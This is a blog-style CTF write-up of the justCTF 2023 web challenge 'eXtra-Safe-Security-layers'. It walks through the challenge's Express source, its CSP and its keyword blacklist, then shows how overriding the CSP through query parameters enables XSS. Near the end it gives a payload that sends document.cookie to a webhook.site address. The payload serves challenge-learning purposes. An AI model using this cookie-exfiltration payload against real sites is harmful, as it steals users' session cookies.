[ justCTF 2023 ] eXtra-Safe-Security-layers

2023. 6. 5. 16:01·🚩 CTF/2023

This Chall is well-known type of XSS Challenge. 

./web_extra-safe-security-layers/
β”œβ”€β”€ docker-compose.yml
β”œβ”€β”€ Dockerfile
└── src
    β”œβ”€β”€ app.js
    β”œβ”€β”€ bot.js
    β”œβ”€β”€ flag.txt
    β”œβ”€β”€ package.json
    β”œβ”€β”€ public
    β”‚   β”œβ”€β”€ admin_background.png
    β”‚   └── background.png
    └── templates
        └── index.ejs

 

web_extra-safe-security-layers.zip
0.91MB

 

It gives that this chall has 5 safety layer through remark. These remarks confused me, even if this chall was not that hard.

 

Just Ignore all remarks and analyze code.

// bot.js
import puppeteer from "puppeteer";
import { readFileSync } from "fs";
import { adminCookie } from "./app.js";

const FLAG = readFileSync("./flag.txt", "utf-8").trim();

export const report = async (endpoint) => {
	if (!endpoint.startsWith("?text=")) {
		throw new Error(
			"Invalid endpoint. Make sure to have the 'text' query parameter."
		);
	}

	const browser = await puppeteer.launch({
		headless: "new",
		args: [
			"--disable-gpu",
			"--no-sandbox",
			"--js-flags=--noexpose_wasm,--jitless",
		],
		executablePath: "/usr/bin/chromium-browser",
	});

	const page = await browser.newPage();
	await page.setCookie({
		name: "admin",
		value: adminCookie,
		domain: "localhost",
		path: "/",
		httpOnly: true,
	});

	await page.setCookie({
		name: "flag",
		value: FLAG,
		domain: "localhost",
		path: "/",
	});

	await page.goto(`http://localhost:3000/${endpoint}`);

	await new Promise((resolve) => setTimeout(resolve, 1000));

	await browser.close();
};

This chall has bot and Flag is in bot's cookie. We have to check it out.

 

import { xss } from "express-xss-sanitizer";
import { report } from "./bot.js";

// Rate limit for report endpoint - 1 request per minute
const limiter = rateLimit({
	windowMs: 60 * 1000,
	max: 1,
	standardHeaders: true,
	legacyHeaders: false,
});

const app = express();
export const adminCookie = randomUUID();

app.set("view engine", "ejs");
app.set("views", "templates/");
app.use(express.static("public"));

// Safety layer 1
// "middleware which sanitizes user input data (in req.body, req.query, req.headers and req.params) to prevent Cross Site Scripting (XSS) attack."
// = XSS impossible ;)
app.use(xss());

The service protects XSS attack by using "express-xss-sanitizer", the version of "1.1.6", which has no vulnerable point. So non-existing point to exploit with this library. Just remember that there was no xss point.

 

const css = "sha256-vLdrwYlWaDndNN9sQ9ZZrxSq93n8/wam7RRrUaZPZuE=";
const commonJs = "sha256-hPqYpiz7JNIo+Pdm+2iyVcEpBmkLbYzZp4wT0VtRo/o=";
const defaultJs = "sha256-PxCHadKfAzMTySbSjFxfuhIk02Azy/H24W0/Yx2wL/8=";
const adminJs = "sha256-5TQWiNNpvAcBZlNow32O2rAcetDLEqM7rl+uvpcnTb8=";

const defaultCSP = `default-src 'none'; img-src 'self'; style-src '${css}'; script-src '${commonJs}' '${defaultJs}'; connect-src 'self';`;

The service defines CSP and the defaultCSP seems to be strict and properly configured. It seems no way to load external scripts because CSP is defined by using SHA256.

 

더보기

I thought this chall is about zero-day of "express-xss-sanitizer" even if there was a big hint at the bottom of the code :( . I spent a lot of time in here.

 

const blacklist = [
	"fetch",
	"eval",
	"alert",
	"prompt",
	"confirm",
	"XMLHttpRequest",
	"request",
	"WebSocket",
	"EventSource",
];

app.use(cookieParser());
app.use(express.json());

And there is a word filtering.

 

Let's summarize what we've knowned so far.

  1. Not allowed XSS attack because of "express-xss-sanitizer"
  2. It has a strict CSP, so we can't load external script.

Then, what can we do to solve this chall?

 

[ Point  ]

app.use((req, res, next) => {
	if (req.query) {
		// Saferty layer 2
		const s = JSON.stringify(req.query).toLowerCase();
		for (const b of blacklist) {
			if (s.includes(b.toLowerCase())) {
				return res.status(403).send("You are not allowed to do that.");
			}
		}

		// Safety layer 3
		for (const c of s) {
			if (c.charCodeAt(0) > 127 || c.charCodeAt(0) < 32) {
				return res.status(403).send("You are not allowed to do that.");
			}
		}
	}

	if (req.cookies?.admin === adminCookie) {
		res.user = {
			isAdmin: true,
			text: "Welcome back :)",
			unmodifiable: {
				background: "admin_background.png",
				CSP: `default-src 'self'; img-src 'self'; style-src '${css}'; script-src '${adminJs}' '${commonJs}';`,
			},
		};
	} else {
		// Safety layer 4
		res.user = {
			text: "Hi! You can modify this text by visiting `?text=Hi`. But I must warn you... you can't have html tags in your text.",
			unmodifiable: {
				background: "background.png",
			},
		};
	}

	if (req.query.text) {
		res.user = { ...res.user, ...req.query };
	}

	// Safety layer 5
	res.set("Content-Security-Policy", res.user.unmodifiable.CSP ?? defaultCSP);
	next();
});

Check this code. We can see res.set("Content-Security-Policy", res.user.unmodifiable.CSP ?? defaultCSP); . The reason why we can't solve this chall is because of CSP Protection. But We can disrupt CSP by using "res.user" and "req.query".

 

To be specific, if we define "unmodifiable" value in res.user object, defaultCSP goes useless. We can approach to unmodifiable value like this.

?text=hi&[unmodifiable][CSP]=a

Okay. We disrupt deafultCSP.

// index.ejs
<html>
    <head>
        <title>MLSA</title>
        <style>
            .background {
                object-fit: cover;
                width: 100%;
                height: 100%;

            }
            
            .userBox {
                position: absolute;
                top: 50%;
                left: 50%;
                transform: translate(-50%, -50%);
                background-color: #fff;
                padding: 20px;
                border-radius: 50px;
                box-shadow: 0 0 10px 0 rgba(0, 0, 0, 0.2);
            }
        </style>
    </head>
    <body id="main">
        <div class="userBox"><%= text ?? '<h1>This shouldn\'t be here...</h1>' %></div>
        <button id="report-button">report as unappropriate</button>
    </body>
    <script>
        // load background...
        main.innerHTML += `
            <img class='background' src='<%- unmodifiable?.background %>'>
        `;
        console.log('Loaded!');
    </script>

You can see script tag is executed in index.ejs. By using "unmodifiable.background" value, we can execute code.

.As we saw that we modified value of "unmodifiable.CSP" in res.user, we can also modify "background" in same way. What we want is to know flag which is in admin bot's cookie, trigger script thorugh index.ejs

 

text=hi&[unmodifiable][CSP]=a&[unmodifiable][background]=https://webhook.site/47414a94-b1ef-480d-b5a3-1ec387bec09e?c=${document.cookie}

 

Flag

 


μΆ”κ°€ 정보 : 

  • Three dots meaning in Node.js : 
    https://oprearocks.medium.com/what-do-the-three-dots-mean-in-javascript-bc5749439c9a
μ €μž‘μžν‘œμ‹œ λΉ„μ˜λ¦¬ λ³€κ²½κΈˆμ§€ (μƒˆμ°½μ—΄λ¦Ό)
'🚩 CTF/2023' μΉ΄ν…Œκ³ λ¦¬μ˜ λ‹€λ₯Έ κΈ€
  • [ zer0pts 2023 ] Neko note
  • [ justCTF 2023 ] Perfect Product
  • gpnCTF 2023 Web Writeup
  • [ justCTF2023 ] Aquatic_delights
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • λΆ„λ₯˜ 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • πŸ’» Security (5)
      • πŸ–ŒοΈ Theory (22)
        • WEB (9)
        • PWN (13)
      • πŸ“„ Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • λΈ”λ‘œκ·Έ 메뉴

    • ν™ˆ
  • 링크

  • 곡지사항

  • 인기 κΈ€

  • νƒœκ·Έ

    cache
    bug report
    Crypto
    GPNCTF
    bug hunter
    Ubuntu 기초
    justCTF
    pwntools
    TFCCTF2022
    RCE
    Ubuntu 기초 μ…‹νŒ…
    ubuntu λͺ…λ Ήμ–΄
    TsukuCTF2022
    Deep learning
    cache poisoning
    python
    Remote Code Execution
    sqli
    Text Summarization
    Machine Learning
  • 졜근 λŒ“κΈ€

  • 졜근 κΈ€

Cronus
[ justCTF 2023 ] eXtra-Safe-Security-layers
μƒλ‹¨μœΌλ‘œ

ν‹°μŠ€ν† λ¦¬νˆ΄λ°”